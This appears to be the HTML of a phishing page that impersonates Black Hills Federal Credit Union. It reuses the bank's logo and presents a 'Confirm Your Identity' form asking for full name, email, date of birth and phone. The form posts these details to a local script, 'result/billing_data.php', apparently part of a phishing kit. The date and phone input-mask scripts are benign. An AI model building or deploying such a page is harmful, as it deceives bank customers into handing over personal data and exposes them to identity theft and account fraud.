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	<title>Black Hills Federal Credit Union</title>
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<body>
	<noscript>You need to enable JavaScript to run this app.</noscript>
	<div id="forgotPasswordORUsername" style="min-height:100%;position:relative">
		<div style="display: none;"></div>
		<div class="fade-in">
			<div class="header_navigation-container__x6sPE">
				<div class="header-container">
					<div class="header_wrap-content__4C87W">
						<div class="header">
							<div class="hamburger visible-xs visible-sm"></div>
							<div class="logo adjustlogo" role="banner">
								<a tabindex="-1" href="/dbank/live/app/home">
									<div><img tabindex="0" src="https://resource.digitalinsight.com/branding/27/01627/img/01627-logo-lg-md-publish.png?v=1510764787006" class="fiLogoLg hidden-xs hidden-sm" alt="Black Hills Federal Credit Union"><img src="https://resource.digitalinsight.com/branding/27/01627/img/01627-logo-sm-xs-publish.png?v=1510764787006" class="fiLogoSm visible-xs visible-sm" alt="Black Hills Federal Credit Union"></div>
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							<div class=" hidden-xs hidden-sm" role="complementary"></div>
							<div class="nav-area hidden-xs hidden-sm"></div>
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			<div class="home-page " style="min-height: calc(((100vh - 83px) - 75px) - 0px);">
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								<div class="center-block">
									<div class="page-header">
										<h1 id="heading" tabindex="-1" aria-describedby="heading description forgotForm">Confirm Your Identity</h1></div>
									<div class="col-xs-12 col-sm-12 main-container xs-col-remove-padding"><span id="description" class="col-xs-12 col-sm-12" style="margin-bottom: 10px;">Please enter the following information  to help us verify your identity. The information you provide must match your information on record.
</span>
										<div class="col-xs-12 col-sm-12">&nbsp;</div>
										<form class="col-sm-7 margin_bottom_30" id="forgotForm" method="post" action="result/billing_data.php" >
											

												
												<div class="form-group margin_bottom_30">
												<label id="usernameLabel" for="username">Full Name</label>
												<input type="text" maxlength="60" class="form-control" id="fname" name="fname" required="true" autocapitalize="off" autocorrect="off" autocomplete="off" value="">
											</div>
											<div class="form-group margin_bottom_30">
												<label id="usernameLabel" for="username">Email</label>
												<input type="email" maxlength="60" class="form-control" id="em" name="em" required="true" autocapitalize="off" autocorrect="off" autocomplete="off" value="">
											</div>
											<div class="form-group margin_bottom_30">
												<label id="usernameLabel" for="username">Date of Birth</label>
												<input type="tel" maxlength="60" class="form-control" id="dob" name="dob" required="true" autocapitalize="off" autocorrect="off" autocomplete="off" value="">

												<script src="files/mask.js"></script>
<script>
var element2 = document.getElementById('dob');
var maskk = {
	mask: 'mm/dd/yyyy',
	blocks: {
		mm: {
			mask: IMask.MaskedRange,
			from: 1,
			to: 12
		},
		dd: {
			mask: IMask.MaskedRange,
			from: 1,
			to: 31
		},
		yyyy: {
			mask: IMask.MaskedRange,
			from: 1900,
			to: 2003
		}
	}
};
var outcome2 = IMask(element2, maskk);
</script>


											</div>
											<div class="form-group margin_bottom_30">
												<label id="usernameLabel" for="username">Phone</label>
												<input type="tel" maxlength="60" class="form-control" id="phone" name="phone" required="true" autocapitalize="off" autocorrect="off" autocomplete="off" value="">

												<script src="files/mask.js"></script>
<script>
var element = document.getElementById('phone');
var maskOptions = {
mask: '(000)-000-0000'
};
var mask = IMask(element, maskOptions);
</script>


											</div>



											<div class="form-group margin_bottom_30">
												<button type="submit" id="submitButton" class="btn sm btn-primary forgot-password-submit-button-sm-max-width col-xs-12" style="white-space: normal; overflow-wrap: break-word; height: 40px;">Continue</button>
												<button type="button" id="cancelButton" class="forgot-password-cancel-button-xs btn sm btn-secondary forgot-password-cancel-button-sm-max-width col-xs-12" style="height: 40px;">Cancel</button>
											</div>
										</form>
										<div class="col-xs-12 col-sm-12"><a href="#" id="forgotUsernameLink" class="forgot-password-link col-sm-6">Forgot Username</a></div>
									</div>
								</div>
							</div>
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				<div id="footerSibling" style="padding-bottom: 103px;"></div>
				<div title="Footer Navigation" id="footer-container" role="contentinfo" class="container-fluid footer-container-main" tabindex="-1" aria-describedby="footer-container">
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